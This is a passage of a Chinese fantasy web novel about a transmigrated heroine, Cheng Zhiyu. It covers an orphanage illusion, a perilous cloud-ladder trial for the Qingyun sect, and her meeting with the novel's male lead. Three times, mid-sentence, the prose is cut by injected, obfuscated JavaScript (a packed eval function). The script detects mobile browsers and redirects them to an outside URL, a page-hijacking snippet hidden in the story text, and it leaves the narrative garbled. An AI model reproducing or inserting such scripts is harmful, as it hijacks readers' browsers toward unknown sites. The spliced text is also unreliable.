“我是想来给你送吃的,我、我不会去告密的!” 面前的男孩脸涨得通红,急切地想证明自己没有恶意,双手在身前不停挥舞着。 听着来人的话,程知鱼眼里闪过一丝诧异,却在看清面前男孩的脸时顿时睁大了双眼。 她的心脏剧烈跳动起来,错愕地跌坐在地上。 如果她没有记错的话,这个男孩应该是在不久之后会死于孤儿院的一场火灾,在那场火灾之后这个院长的恶行也暴露出来,最终受到了应有的惩罚。 程知鱼当年借着这个机会逃出来孤儿院,却并未关注当时死于火灾中的到底是谁,后来这起火灾被刊登在报纸上,她才在报纸上看见了这个男孩的相貌。 程知鱼回过神来,重新打量起眼前的男孩来。 与程知鱼同样衣衫褴褛,几块破布可怜兮兮挂在身上,衣服下是掩盖不住的血痕,被鞭子抽打过的地方皮开肉绽,还隐隐向外渗着血。 男孩从怀里掏出半个还在冒着热气的馒头,递了过来,却不小心扯到伤口,顿时疼得龇牙咧嘴,却还是坚持把馒头放在程知鱼手中。 “你吃。” 男孩说着从怀里掏出另一半馒头,上面黑乎乎的一片,看上去像粘了些泥,他挠了挠头不好意思地笑笑,拿着馒头往衣服上随意擦了擦就狼吞虎咽地吃了起来。 程知鱼迟疑了片刻,也选择就地坐下,小口地嚼着馒头,余光偷偷观察着离自己半米远的男孩。 无论他有什么目的,程知鱼现在唯一的想法也是要吃饱,别还没出去就先饿死在这里了。 她收回视线,轻抿下唇,再次思考起自己是否有遗漏什么细节,也许就是离开这里的关键。 “你们在这里干什么!” 树后突然窜出一个人,五官狰狞地挤在一起,双目猩红似是要把他们二人吃了。 “是院长!” 身旁的男孩被馒头噎住止不住地咳嗽,却还是一个箭步冲到程知鱼身旁拉起她的手朝反方向跑。 身后院长的脚步越来越近,伴随着嘶吼不断传进程知鱼的大脑,像一把利刃一点点凌迟着她的理智。 被深埋在心底的记忆被重新唤醒,一阵冰冷的寒意从她的脊椎延伸到全身,止不住地颤抖。 男孩把程知鱼拉进一个空房间,两人用尽全身力气把一旁的柜子拖过来堵住房门,下一秒门外就传来重重的砸门声夹杂着恶毒的咒骂。 眼见本就千疮百孔的木门在院长的蛮力下隐隐有了裂开的痕迹,狭小的房间内仅有的一根蜡烛燃烧着微弱的光芒照在两人惨白如纸的脸上。 怎么办?怎么办? 逃跑的路已经被堵死了,现在被抓到只有被院长打死的份,每年死于这家孤儿院的孩子不计其数,对外说是病逝,实则真相如何只有里面的人知道了。 “砰——” 腐烂的木门被彻底破开,外面的女人提着一把斧头弯腰喘着粗气,朝着房间内的两人扯出一个极为诡异的笑容,透出毛骨悚然的寒意。 “两个小崽子,挺能躲的啊……” 她将斧头随手丢在一旁,慢慢地走了进来,腐朽的地板发出令人牙疼的嘎吱声,每一步像是踩在程知鱼的心口处。 程知鱼看向挡在她身前同样害怕地不停颤抖的男孩,手紧紧攥成拳。 大不了就是被打一顿,反正在幻境之中她也死不了,还不如让这个可怜的小男孩逃出去搬救兵。 不等程知鱼有所行动,面前的男孩却像发疯一般冲上去紧紧抱住了院长的腰,张嘴狠狠咬在了院长的手背上。 “啊!小畜生!”院长用手肘不停砸向男孩的脑袋,想让他松开。 “快跑……” 男孩发出含糊的声音冲程知鱼喊道,抱着院长的手却没有因为疼痛松开分毫。 程知鱼先是一愣,无数念头在脑子里乱撞。她咬了咬牙,看着男孩伤痕累累的身影,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093250|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终还是选择跑出去。 程知鱼边跑边回头,内心如烈火灼烧般煎熬。 她知道这是幻境,也知道这个小男孩最终还是难逃一死,可看着男孩不顾危险也要保护她逃出去,内心怎能不动容。 程知鱼双腿有些发软,还是坚持跑到了孤儿院大门口,眼看就差一点她就能逃离这个恐怖的地方,却被刺眼的火光截住了脚步。 她刚刚死里逃生的房间此刻被巨大的火舌所吞没,一团团浓烈的黑烟混杂着破空的刺耳尖叫四射而出,在接二连三的闷响里,一个人影从房间的窗户掉了下来,在火焰中挣扎了半晌慢慢没了动静。 是方才的蜡烛! 程知鱼一瞬间反应过来,跌坐在地上,随即忍着内心巨大的恐惧爬到刚才掉下来的人身边。 是院长! 她抬头看向被火焰吞噬的房间,脑海中满是男孩布满泪水的脸。 孤儿院的其他人被火光吸引而来,程知鱼此时却已经不知道自己到底该何去何从了。 周围人的哭喊声在她耳边混作一团,却又突然消失,只剩程知鱼的心跳声在寂静的幻境中格外明显。 她看着周围的景物和人在空气中慢慢扭曲模糊,直到最后彻底消失不见。 她明白,这个幻境被打破了。 原来打破这个幻境唯一的方式就是院长的死去…… 可代却是以一个男孩的生命作为交换的。 …… 再睁眼,她已经从幻境中脱离了出来,重新站在鉴心门前。 心中像被一块巨石压着,让她有些喘不上气。 “怎么了?” 一旁传来傅逾白熟悉的声音,程知鱼收拾好自己的情绪转头朝他扯出了一抹微笑,摇了摇头。 “我这算过关了对吧。” “别高兴得太早,这只是第一关。” ……傅逾白一番话让程知鱼心更加堵了。 话虽怎么说,但程知鱼还是从傅逾白的眼中硬生生看出一丝赞许的味道。 行吧,就当他夸自己了。 程知鱼在人群中寻找了一番,却始终没有看见姜拂雪的身影。 难道她还在幻境中没有出来吗? 程知鱼在人群中焦急地朝门内张望,眉头扭成了麻花,眼见又一波人从门内走出,她额头上也冒出了冷汗。 时间在程知鱼的等待中一点点流逝,她恨不得自己扒开门进去瞧瞧到底是什么样的幻境才会把姜拂雪困到现在。 在程知鱼充满希冀的注视下,终于在最后一刻看见姜拂雪惨白着脸色走了出来,吓得程知鱼赶忙上前扶住她。 姜拂雪像是被吓得不轻,整个人也顺势倒在程知鱼怀中,紧紧抓住自己的衣角。 “好了好了,都是幻境,都过去了……” 程知鱼轻抚着怀中人的后背,给她顺气。 远处的傅逾白看着远处程知鱼两人像驴似的喘着粗气,嘴角没控制住扬了扬,将灵力汇聚于掌心,朝着鉴心门挥了挥手。 霎那间,这门像吃坏了什么东西似的把还没出来的人吐了出来。 一群人狼狈地趴在地上,摔得东倒西歪的。 程知鱼:“……” 早说这门还可以把人吐出来啊,吓唬别人干什么…… 她没意识到自己把内心所想讲了出来,只看见傅逾白冷冷地瞧了她一眼,轻哼一声,就转过头不再看她。 程知鱼:这人脑子指定是有什么毛病…… 8. 第 8 章 被那鉴心门吐出来的众人,眼见自己已经失去资格,只好摇头叹气任由青云宗的弟子送他们离开。 傅逾白也没跟他们废话,挥了挥手,一旁的弟子瞬间领悟了他的意思,即刻清了场。 程知鱼不知为何从中嗅出了一丝不同寻常的味道。 下一场的难度绝不是这第一关能比的…… 她也没了玩乐的心情,一旁的姜拂雪也正了正神色,默默地看着最前方的傅逾白。 只见他身旁突然有巨大的灵力波动,伴随着一阵狂风吹得众人皆不得不闭上眼睛。 再次睁眼之时,傅逾白身旁却出现了一名男子,眉目如画,如墨的黑发用一根檀木簪随意地挽着。 “怎么了小白?” 那男子抬手抚上了傅逾白的发顶,像撸狗似的摸了几下,才意犹未尽地放下手。 ! 老虎头上拔毛! 程知鱼像看到什么不可思议的东西,眼睛瞪得溜圆。 谁知傅逾白却像早就习惯了一样,像一只小猫似的不满地皱了皱眉,揉了揉自己被弄乱的头发。 “师兄!” 傅逾白撇了撇嘴:“这第二关对他们来说是否太过凶险了一些……” 他的声音不大,却很清晰地传到程知鱼耳中。 “放心,不会让他们有性命之忧的。” 语罢,那男子从怀中掏出一把折扇,指尖灵力流转,下一刻,那折扇突然变得巨大无比,稳稳落在众人跟前。 他转过头对着众人微微拱手道:““在下萧风眠,是青云宗弟子,请大家登上折扇,随我前往青云宗。” “去青云宗!” 人群里炸开了锅,叽叽喳喳地讨论起来。 程知鱼若有所思地看着萧风眠,眨了眨眼。 倒是个如沐春风的美男子,这样的人竟然能降住傅逾白,真是人不可貌相…… “我们走吧。” 程知鱼轻轻推了推姜拂雪的肩膀。不想,她却没有任何反应。 程知鱼有些不解,偏过头顺着姜拂雪的视线看去,正巧落在那被傅逾白称为师兄的萧风眠身上。 哦~ 她朝姜拂雪揶揄道:“这是在看谁呀?” 身旁的小姑娘才仿佛如梦初醒一般,猛地收回视线,眨了眨眼睛,微微红了脸。 “你别打趣我了……”姜拂雪沉默了片刻,又道:“这萧师兄也好生厉害,要是我也有这么厉害就好了。” 程知鱼一把揽过她,在她脸上狠狠揉搓了一下,见姜拂雪的脸有些泛红才放下了手。 “我们以后也定会成为这样的人!” 程知鱼说完便牵起身旁人的手朝那折扇上跑去。“现在别想那么多了,我们都要进青云宗。” 两人堪堪站稳,那折扇便飞快地冲了出去,风从耳边呼啸而过,撩起程知鱼脖间的碎发。她深深吸了一口气,看着眼前匆匆掠过的山河美景,才能让自己有片刻的松懈。 这一路走来,无论是魔族圣女的身份,还是逼近的大限之日,都压得她喘不过气。 眼睛一闭一睁,便已经抵达了目的地,程知鱼只好收拾好自己的情绪,背负着她的重担再次出发。 尽管已经在心底做了无数想象,可真正见到书中所描写的仙山,程知鱼还是不由得倒吸一口凉气。 眼前拔地而起的仙山被云雾笼罩着直入云霄,远望霞光隐隐,当真是绚丽非凡。时有玄鹤穿梭于云雾之中,发出阵阵啼鸣。 众人皆醉于此处之景,怔怔地望着仙山之上若隐若现的亭台楼阁,仿佛置身于仙境一般。 “此处便是青云宗的山脚处了,也是我们第二关的所在之处。” 萧风眠适时打断了大家了大家的惊叹,心念一动,收回了自己的折扇,在身前摇了摇。 身旁的傅逾白接过他的话头,接着说道:“你们将要在规定的时间内从此处的云梯,爬到仙山之上。” 众人闻言纷纷朝脚下看去,此处虽说在山脚处,可下面便是万丈云海,一眼望不到尽头。不知何人将一块拳头大小的石头扔了下去,竟毫无声响。 程知鱼见状也被吓了一跳,脚下踉跄,身体也有些发软。 面前的云梯险峻陡立,石阶之上布满青苔,一旁只有一根细细的绳索供众人搀扶,稍有不慎便会坠入万丈深渊之中。 “我不参加了!我要退出!” 人群中爆发出各种声音,有的人甚至直接瘫坐在地上,双腿止不住地哆嗦。 傅逾白倚靠在一旁的石壁上,闻言冷冷地瞥了一眼开口之人,“想要退出了人现在就提出,一会开始之后可没有后悔的机会。” 人群中稀稀拉拉走了几个人出来,像是有些不好意思,各个都低着头不想让别人瞧见。 “好了,剩下的人准备开始吧” 傅逾白衣袍翻飞,表情淡淡的,眉间红痣隔着这么远依然清晰可见:“一炷香时间内,先到山顶之人为过关。” “小白,对大家要温柔一点。”萧风眠突然开口无奈地朝大家笑了笑,眼里带了些歉意。 傅逾白有些不满,张了张嘴却没说什么,把头一扭不去看他。 程知鱼一脸古怪的看着他们,“小白?这不是叫狗吗……” 这天之骄子竟然愿意被这样叫也不反抗,他们二人当真关系不一般。 身旁的姜拂雪倒没像她想那么多,定定地看着眼前的云梯,心中还是有些恐惧,可不知想起了什么,眼中的迟疑被坚毅所替代,慢慢地直起身子。 “知鱼,我想先上去了,你可要同我一起?” “啊?”正在一旁发愣的程知鱼听到姜拂雪的话回过神来,她本想让别人先上去试试水,自己再跟着上去。 算了,早死晚死都要死…… 程知鱼在心里给自己做好了建设后,也点了点头。 她跟在姜拂雪身后,一前一后朝云梯走去,傅逾白和一旁的萧风眠有些诧异地看着她们,目光有如实质般落在两人身上。 “倒是勇敢……”萧风眠笑眯眯地看着两人,眉间藏着些许赞赏之意,视线如羽毛般扫过两人。 一旁的傅逾白难得没反驳,只挑了挑眉,轻哼了一声。 众人眼见程知鱼她们率先登梯,再也按捺不住,一个接一个踏上了云梯,浩浩荡荡的人群一眼望去甚是壮观。 程知鱼紧紧跟在姜拂雪身后,可刚一摸上一旁的绳索,便忍不住惊呼起来。 看上去平滑的仙索上竟布满了一根根尖锐的细刺,在暖阳下闪着寒光,一旦用力便将双手刺得鲜血淋漓。 她有些惊讶地看着身前的人,每一步都走得稳稳当当,清冷瘦弱的背影却透着一股莫名的坚韧,双手紧紧抓着仙索,像是感觉不到疼痛一般,唯有偶尔颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093251|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀才能让程知鱼意识到她的痛苦。 她心头微动,有些不忍也有些钦佩。是了,姜拂雪一直都是这样,看上去最是柔弱,可这一路却又比任何人都更加坚强。 思及此,程知鱼也暗暗为自己鼓励,她也有自己的任务需要完成啊,绝不能在这就倒下。 她牢牢抓住了仙索,依然还是很痛,可她紧紧咬住自己的下唇不漏出一声呻吟,跟着姜拂雪的脚步向上爬去。 这仙山几近垂直,每爬一级阶梯腿都止不住地打颤,甚至能听见从膝盖处传来的嘎吱嘎吱的声响。脚下的青苔湿湿滑滑的,每走一步都格外小心。 身后传来此起彼伏地哀嚎声,看来大家都被这仙索折磨的不成样子了。 程知鱼心中有些想笑,可想到自己的手也在经受着酷刑,顿时就笑不出来了。 身前的姜拂雪突然踉跄了一下,脚在湿滑的青苔上有些站立不稳,身子猛地朝后仰去,眼看就要向下摔去了。 “小心!”程知鱼不顾自己的安危,抽出一只手来托住了她的后背,才勉强将姜拂雪扶正。 姜拂雪转过头来,眼角有些湿润,大口地喘着气:“谢谢你。” “小心些,这云梯太危险了。” 姜拂雪点点头,继续向上爬去。 程知鱼累得像耕地的老黄牛一般,大口地呼吸着,长时间的体力消耗让她此刻感到无比饥饿,就在此时,身旁突然传来熟悉的声音。 “还有半柱香。” 她都不用看就知道这是傅逾白御剑飞上来了…… 她心力交瘁,索性也不去看他,全身心投入到爬山的痛苦之中,白皙的小脸皱成一团,看起来好不可怜。 “呵——” 程知鱼:……? 啥意思,爬山有什么好笑的? 她忍了又忍,还是转头狠狠瞪了傅逾白一眼,不知道是什么地方戳到他的笑穴了,眼里的嘲弄简直要溢出眼眶。 不生气不生气,气坏自己没人替…… 程知鱼看着已经过半了的仙山,心中再次燃起斗志,不再去看傅逾白。 正当她努力忍着疼痛攀着云梯之时,身后却突然传来一股巨大的拉力,把程知鱼整个人拽了下去。 “救命!” 她胡乱想抓住些什么东西,身体却已经悬空,极速地从云梯上摔下去。 姜拂雪听见程知鱼的呼救声,瞬间伸出手,却只抓到了她的衣袖。 “嘶——” 脆弱的布料承载不住程知鱼的身体,霎时碎成两瓣,飘散在空中 失重感吞没了程知鱼,她只觉得血液不断向脑中涌去,巨大的冲击力让她无法呼喊出声,眼睁睁看着自己不停地坠入云海,而刚才从后面拽她的人此刻却超过姜拂雪向上爬去。 傅逾白见程知鱼极速的向下坠落,顿时皱起眉头,御剑朝她身边飞去,剑身处凝结淡淡的霜雪,朝她疾驰而去。 就在程知鱼以为自己必死无疑之时,一双手牢牢地握住了她胡乱挥舞的手臂。 她猛地睁开双眼,眼前朦胧的迷雾渐渐散去,她被那人抓着手臂整个人挂在石壁边沿。 还好还好,程知鱼感动得热泪盈眶,抬起头看向自己的救命恩人,眼眶含着热泪。 当看清眼前之人的程知鱼顿时愣住了,呆呆地盯着眼前之人熟悉的面孔。 “是你?!” 9. 第 9 章 程知鱼瞪大了双眼看着眼前熟悉的面孔。 黝黑的皮肤,眉间的疤痕……不正是她当时在医馆时看见的那背着大刀的少年吗? “你……” “还有空在这聊天,看来是觉得自己很有能耐了。” 程知鱼还没说出口的话被打断,整个人被揽进了一个温暖的怀抱里,就是姿势不怎么美观。 傅逾白突然像扛起一个麻袋似的把她扛在肩头,随后稳稳放在石阶之上。 程知鱼有些腿软,扶着石壁才勉强站稳。 她朝下看去,想找找刚才那少年的身影,却被攒动的人群推着不得不向上走。 一旁的傅逾白没好气地开口:“怎么?你还爬不爬?” ……?他吃枪药了? 人在屋檐下,不得不低头。 程知鱼露出微笑:“爬,当然爬。”擦了擦额间细密的汗珠,哼哧哼哧地向上爬去。 经过刚才一通生死危机后,落后不少的人像打通了任督二脉一般,踩着前面人的肩膀就爬上去了,但也不见有人因此跌落悬崖。 合着就她是零基础…… 时间一点一点流逝,程知鱼也不免紧张起来,也顾不得礼义廉耻了,挤开前面的人就向上爬。 手心的疼痛渐渐麻木,被扎破的血迹也在狂风中凝固在手心,终于在规定时间内爬到了山顶。 在傅逾白的叫停声中,程知鱼恰好手脚并用地爬上了最后一级石阶,累得整个人直接趴在地上动弹不得。 彻底松懈下来后,疼痛感才后知后觉涌了上来,手脚控制不住地颤抖。 “知鱼,你没事吧。” 姜拂雪小跑到程知鱼身边,将她从地上扶了起来,拍了拍她头上沾上的几片叶子,确定程知鱼只是体力耗尽没什么大碍后,才松了口气。 “没事没事,就是有些累了。” 程知鱼脸色几乎没什么血色,却还是笑眼盈盈地看着面前眼里满是担忧的姑娘。 “程姑娘?你没事吧。” 萧风眠柔声询问道,傅逾白也跟着凑上前来,上上下下扫视了一番,依旧一言不发。 程知鱼见两人都过来关心她的伤势,莫名有些不好意思,她撑着手臂想站起来,身形却有些摇摇晃晃。 “累了就坐着吧。” 傅逾白突然开口,制止了她想要起身的行为,手却悄悄地在身后施法,将一丝灵力偷偷传入她的体内。 殊不知,傅逾白的小动作却被程知鱼看得一清二楚,她沉默了 书中对傅逾白的描写实在是少之又少,以至于她对这位少年英才甚至都没有很深入的了解,唯一的印象还停留于他最后为了天下而选择牺牲了自己。 她其实并没有想跟这位天之骄子扯上些什么关系,可他几次三番地搭救,却又让程知鱼无法心安理得地接受。 这人虽然总是一副看着不好接近的模样,可下意识的动作却骗不了人。 程知鱼看了看自己伤痕累累的掌心,在光滑白皙的皮肤里显得格外突兀。 是了,她穿进来这许久,总是靠别人的帮助才一步一步走到如今。 可谁能救她一辈子…… 想要活命,还是要靠自己。 傅逾白的灵力如暖流游走于她的筋脉之中,方才还有些疼痛难忍的掌心也好转了不少。 “姜姐姐如何了,你的伤……” 姜拂雪愣了愣神,才反应过来程知鱼说的伤是什么,摊开手掌无奈地笑道:“别担心我啦,我皮糙肉厚着呢。” 厚厚的茧子覆盖在她的掌心,与程知鱼细嫩的皮肤不同,她的手上布满了大大小小的伤痕,有些已经很淡了,却还是隐隐泛着白。被仙索磨出来的伤痕在这其中倒显得小巫见大巫了。 “咚——” 远处传来沉闷的钟声,三长三短,惊飞了盘旋于上空的云鹤,程知鱼晃了晃神,把思绪收了回来。 “这是青云宗祭祀大典的钟声。”萧风眠走到程知鱼她们身边,低声解释道。 “祭祀大典?”姜拂雪眼神微微抬起,眸中浮现出淡淡的惊异,不自觉看向萧风眠。 萧风眠微一颔首,温柔地笑开:“是为了纪念在神魔之战中死去的先辈们。” 说着递来一块竹绣素帕,微微屈身。“擦擦吧。” 姜拂雪有些出神,看见递到身前的素帕才反应过来,忙接过帕子低声道谢。 程知鱼站在他们身旁不知为何有些莫名的尴尬,她揉了揉鼻尖,神不知鬼不觉地退到一旁欣赏风景去了。 她站在山崖边,用脚狠狠踩了踩,确定此处很安全才放心地坐了下来。 她摇晃着双腿,抬头向上看去,怔了怔神。 原以为爬上云梯就能见到青云宗仙气飘飘的亭台楼阁,可此时看却并非如此。若隐若现的宗门石壁隐藏在层层叠叠的云雾之中。 “身上的伤如何了?” 程知鱼眼前忽的一暗,傅逾白不知什么时候走到她的身边,居高临下地看着她,高高束起的黑发随着风舞动。 “没什么,只是一点擦伤,小问题……” 程知鱼故作潇洒地撩了撩头发,对上了傅逾白的视线。 “我不是说这个伤……”他偏过头去,衣领有些凌乱地随意敞开着,棱角分明的脸上带着些许薄红,夕阳洒在他的脸上,模糊了他冷硬的面孔,透出几分符合他年纪的稚气。 程知鱼挑起眉有些惊讶地看他,一时不知道该说什么。 她还以为傅逾白打算跟她装陌生人…… 好吧,说起来两人也确实仅有一面之缘。 远处的萧风眠看天色已晚,就将大家安排在青云宗下小镇的客栈之中,明早再继续考核,众人也皆精疲力尽,纷纷答应下来,朝着萧风眠走去。 程知鱼拍了拍手站了起来,瞥见傅逾白似乎想说些什么,手微微伸出却又收了回来。 “谢谢你,小仙长。” 程知鱼擦着傅逾白身侧走过去,低声对他道谢。 傅逾白闻言愣了愣,脸上带上了些笑意,有被压了下去,嘴角微动,漏出了一声低语。 “嗯……” 程知鱼没去看他的反应,径直走向姜拂雪:“姜姐姐!” 姜拂雪转过头柔声道:“知鱼,你回来啦。” “嗯,我们一起去客栈吧。” 程知鱼抱住了姜拂雪的手臂,将头埋进她的肩颈蹭了蹭。 “我好累啊……” 姜拂雪看着程知鱼孩子气的举动有些失笑,无奈地摇了摇头,轻轻揉了揉她的头发。 “那我们快去休息吧,别把我们知鱼累坏了。” 说罢,带着程知鱼朝人群走去。萧风眠见人差不多到齐后,再次变出那把折扇,将众人带下山去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093252|195530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我也想有这样的法器,这样就可以去自己喜欢的地方了。” 程知鱼沉默了好一会,恢复了一些精神,突然开口道。 “你啊……” 姜拂雪戳了戳程知鱼的脸,她现在已经习惯程知鱼这想一出是一出的性子了。 “进入青云门,你就可以挑选自己喜欢的法器了。” 萧风眠适时开口,朝着程知鱼的方向走来。 这萧师兄当真是一个温润如玉的男子。 程知鱼暗暗在心中思索。 正当她在心中默默记下这萧师兄的性格特征时,鼻尖突然传来一阵酥酥麻麻还带着微微的痛感。 完了,她不会是感冒了吧…… 果不其然,下一秒,她没忍住鼻尖的酸痒,打了一个大大的喷嚏,带着整个人都打了一个寒颤。 这巨大的的声响引来了众人的目光,刚才还吵吵闹闹的人群顿时鸦雀无声,纷纷将眼神投向他们这里。 程知鱼:…… 怎么这种尴尬时刻总是发生在她的身上…… 她将自己往姜拂雪身后藏,却不想突然像小鸡似的被人揪住衣领拎了出来。 “躲什么?感冒了?” 傅逾白声音在程知鱼耳边响起,一阵窸窸窣窣声音过后,一件熟悉的白袍被披在了她身上。 程知鱼缩了缩脑袋,不说话了。 一股清冷的白梅香从傅逾白的衣袍传入她的鼻尖,她蜷缩了身子,把身上的衣袍穿紧了些,向傅逾白低声道谢。 他没什么反应,只应了一声,就在程知鱼身旁坐下了,白光乍现,风似乎突然小了不少。 萧风眠眼角含笑,勾了勾唇角,视线在程知鱼和傅逾白身上扫了又扫,才假装不经意地移开。 “程姑娘,你可以试试这个方子,对伤寒这类病症有很好的效果。” 程知鱼猛地抬头朝声音传来的地方看去,正是方才在她跌落悬崖时伸手抓住她的那个少年。 对了,她竟然到现在都不知道这个少年的名字! 她拍了拍自己的脑袋,接过少年的方子,连忙道谢。 那少年点了点头,就打算离开。 程知鱼暗道不好。 也顾不得那么多了,伸手拉住了他的衣袖。 “等等……” 那少年有些疑惑地转过身,挠了挠头站定在程知鱼的面前。 “我……可以告诉我你的名字吗?” 程知鱼有些尴尬,这场景怎么似曾相识。 那少年眼睛微微睁大,倒也很爽快地说了出来。 “陆云峥!” 嗯? ! 这不是原书男主的名字吗? 程知鱼脑中轰地炸开,连退了好几步,脚下有些踉跄。 她脸颊有些涨红,在他人看来倒像是遇上心仪男子的害羞无措。 傅逾白冷冷看着两人,眼神宛如尖刀狠狠刮过二人,站起身就走。 程知鱼此刻无暇顾及他人的想法了,她脑海中只有两个字:完蛋! 千防万防还是没防住…… 她不想像原主那样英年早逝啊。 一!点!都!不!想! 本来就因为感冒的疼痛大脑此刻变得更加混乱。 眼前像蒙了一层白雾一般。 下一刻就直挺挺地倒了下去。 10. 第 10 章 等到程知鱼再次醒来已经是第二天夜里。 从房间狭窄的窗户能依稀看见一轮明月挂在天空上,月光洋洋洒洒照进房间。屋内仅有一只烛台放在桌上,摇曳的火光将窗纸映照得忽明忽暗。 程知鱼清了清嗓子,有些迷茫地看着窗外。 霎那间,她猛地想起了自己倒下前还在进行着青云宗的考核,脑海中像被鞭炮点燃一般轰然炸开。 完了完了!这是什么时辰?她的考核! 她一把掀开被子,连鞋袜都来不及穿上,咚咚咚跑了出去。 “哎!” 程知鱼忽感脖子一紧,还没反应过来就被人拎回了床上,有些冰凉的骨节擦过她的后颈,冻得她忍不住缩了缩脖子。 下次可以来一些体面的方式吗? 程知鱼看着眼前乌泱泱的一大片人,陷入了沉思…… 姜拂雪伸手试了试她额头的温度,确定烧完全退下去后才松了口气,坐到了床边,帮程知鱼塞了塞被角。 “你这是身子骨太弱了,又受了累,才会一下晕倒。” 姜拂雪疼惜地看着眼前面色憔悴的程知鱼,安抚似的摸了摸她的脸。 “那个考核……” “别担心,青云宗祭祀大典期间,考核延期了,你好好养病。” 程知鱼默默低下头…… 其实她是被男主吓晕的这能说吗。 想到男主,程知鱼下意识朝门外张望了一下,屋内傅逾白,姜拂雪等人都在,却独不见她晕过去时在她身边的陆云峥。 程知鱼不知该紧张还是该松口气,纠结了一会,还是开口道:“陆云峥去哪了?” “怎么?一醒来就找他?” 傅逾白捻了捻手指,站在窗边回头看她,方才擦过程知鱼后颈的手指上似乎还残留着她的体温,让他心底陡然生出些莫名的烦躁。 他砰地一声把窗户死死关紧,泄愤似的将把手扭了又扭。 “他咋了?” 程知鱼一脸莫名地看了看姜拂雪,虽没开口,可眼神里尽是询问的意思。 姜拂雪摇了摇头,悄悄朝程知鱼摊了摊手,表示她也不知道。 狭小的房间顿时陷入一个诡异的氛围之中,明明没什么,程知鱼却好像感觉自己做了什么亏心事一般。 “大家都这么严肃干什么?”一旁的萧风眠摇着扇子走了进来。身后还跟着端着药碗的陆云峥。 巧了吗这不是,说曹操曹操到。 萧风眠看着众人都默不作声,摇扇子的手顿了顿,脸上的笑意难得有些端不住,一转头看着抱胸坐在窗边的傅逾白,哪还能不知道发生了什么。 “这小子……” 萧风眠收了折扇,在傅逾白头上轻轻敲了一下,眼神朝门口瞟去,傅逾白咬了口不知从哪顺来的苹果,不情不愿地跟着他走了出去,出去之前还不忘瞪了一眼程知鱼。 “他是小孩子吗?” 程知鱼不由得想起初见他时惊艳的场景,真真宛如不染凡尘的小菩萨一般从天而降。 哥们,你人设崩了吧…… 陆云峥站在一旁有些不知所措,想了好一会还是觉得该打断程知鱼的思考,将冒着热气的药碗递过去。 程知鱼有些惊讶,陆云峥看起来并不像精通药理之人。 他见程知鱼盯着他,有些不好意思地低头,眉骨那道疤被汗水浸得发亮,在他低头的一瞬顺着脸颊流下。他抬手随意地擦去,袖口上移,露出了一截白色的纱布。 “你也受伤了吗?要不要叫大夫瞧瞧?”一旁的姜拂雪眼尖地看见他手腕上的纱布似在隐隐渗着血,看上去伤口不浅的样子。 程知鱼被姜拂雪的话吸引,也想瞧瞧陆云峥的伤口,却见他迅速把衣袖拉了下来,眼底有一丝一闪而过的慌乱。 “没、没什么,方才煎药时不小心烫到了。” 程知鱼捕捉到了他眼底的慌张,眸色变得有些晦暗,又不动声色地收回了视线。 “你休息吧,我出去了。” 陆云峥逃也似的离开了那个房间,连姜拂雪都看出他有些不对,却也说不上来,一会便把这小插曲抛之脑后。 程知鱼搅动着碗里的汤药,眉头微蹙,眼神凝重了几分。 如果她没猜错的话…… 程知鱼一口气把汤药喝了下去,温热的汤药还是刺激她急促地咳了几声。 姜拂雪轻柔地拍着程知鱼的背替她顺着气,好一会程知鱼慢慢停下了咳嗽。 果然是这样,程知鱼脸色微变,胃却有些翻江倒海。 这汤药里有陆云峥的血! 她从方才就觉得不对劲。 那碗汤药端过来时,她就闻到一丝若有若无的血腥味,不细细分辨根本察觉不到。 也多亏了她穿过来后隔三差五地吐血,导致她对血腥味格外敏感。 陆云峥为何要在汤药里放血? 他身上到底藏了什么秘密是原书中没有提到的? 程知鱼突然意识到,这个世界可能远没有自己想象的那么简单。 这本书到底讲述了些什么,又是何人所写? 而又为什么偏偏是她代替原主穿进了这本佚名的小说中? 程知鱼感觉真相似乎近在眼前,却又像隔了层纱,看不见摸不着。 眼皮逐渐沉重起来,意识也逐渐模糊,身体的力量一点一点被抽走,程知鱼终于坚持不住地倒了下去,想要挣扎起身却力不从心。 是那碗药…… 程知鱼耳边声音变得模糊,最后彻底消失,归于沉寂…… *** 程知鱼是被吵醒的。 窗外传来叫嚷声将她从睡梦中惊醒,睁开眼睛就发现床边围了四双眼睛。 大家是有什么看人睡觉的癖好吗? 程知鱼下意识擦了擦自己的嘴,确定没有流下什么可疑痕迹后松了口气。 “再不起来就要错过最后一次的考核了。” 傅逾白缓缓撩起眼帘,面无表情地开口说道。 程知鱼:“!” “姜姐姐!你昨日怎么没告诉我今天就要继续考核啊……” 姜拂雪无奈地笑道:“你昨日哪有认真听我说话呢。” …… 